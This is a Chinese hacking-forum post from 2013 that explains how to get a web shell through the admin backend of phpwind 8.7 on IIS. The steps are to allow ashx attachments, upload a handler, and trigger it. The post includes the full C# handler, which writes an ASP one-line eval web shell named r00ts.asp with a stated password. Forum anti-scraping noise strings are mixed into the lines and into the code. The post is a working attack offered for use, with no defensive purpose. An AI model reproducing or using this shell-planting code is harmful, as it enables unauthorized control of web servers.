找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2238|回复: 0
打印 上一主题 下一主题

phpwind 8.7 后台拿shell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-26 12:41:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先点开后台地图 然后附件设置 添加一个ashx后缀 2000大小) g$ z2 W6 T/ q" E3 M2 l$ s2 s

: N: t9 Z% P; J) P, ~2 M" v群里面我以前扔的那个ashx.txt 下载回来改成fuck.ashx
$ h2 g# B% T& j9 _  j . s$ w/ X: i  ^
发表文章那边有个附件上传 把ashx扔上去 前提是iis 阿帕奇我还真不知道咋整1 T* p* d$ m* V2 p$ X  k

5 |# b3 }8 B" `4 l( I, q然后再打开后台地图 附件优化 滑到下面就看到刚上传的ashx# D# a3 i. s" H6 K9 H! |' {
, u& z; g6 p  ^/ c! i' S
打开之后空白 会在目录底下生成r00ts.asp 密码r00ts' a; B* c+ ~# y+ i  _4 q; {

% L0 t  S  E! Q* l2 D下面是代码:
2 C$ j. @. l2 _, D4 b 6 Z6 j& x1 y" [9 ?; V6 F* _: b1 D
<%@ WebHandler Language="C#"Class="Handler" %>
1 L- O, C8 k: n' nusing System;$ H' d/ e2 U) z, W" M
using System.Web;
+ }5 y" a' F3 q  fusing System.IO;
5 M' R( G, j2 U- u) Mpublic class Handler : IHttpHandler {4 h% x5 e7 V. O" g/ c, H
public void ProcessRequest (HttpContext context) {8 s. @: u, V  ]1 Z
context.Response.ContentType = "text/plain";* T6 g" Y: U- I+ C
StreamWriter file1= File.CreateText(context.Server.MapPath("r00ts.asp"));2 u: a0 I7 [( i8 A
file1.Write("<%eval request(\"r00ts\")%>");
. [- ~' L# y, y4 i# X( I, Bfile1.Flush();
0 ]4 Q4 F7 B$ {  ?. Ifile1.Close();
0 j1 {' L! q9 Y2 x& f6 x}. w" n" _8 B" H( \# d: ~& @& M
public bool IsReusable {
: F" S! h) ^. A+ D' y* uget {
; s+ K; `9 |, F; N: A2 l0 q$ e4 r, ~return false;8 ?- |4 T5 y% B4 Z$ {% v5 K. g0 t
}' Q9 k. O6 W# Q+ j& ]; p8 D" D; R- `
}4 m9 Q1 c8 Z  H' C1 N
}
- P1 \1 H! t$ i3 L
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表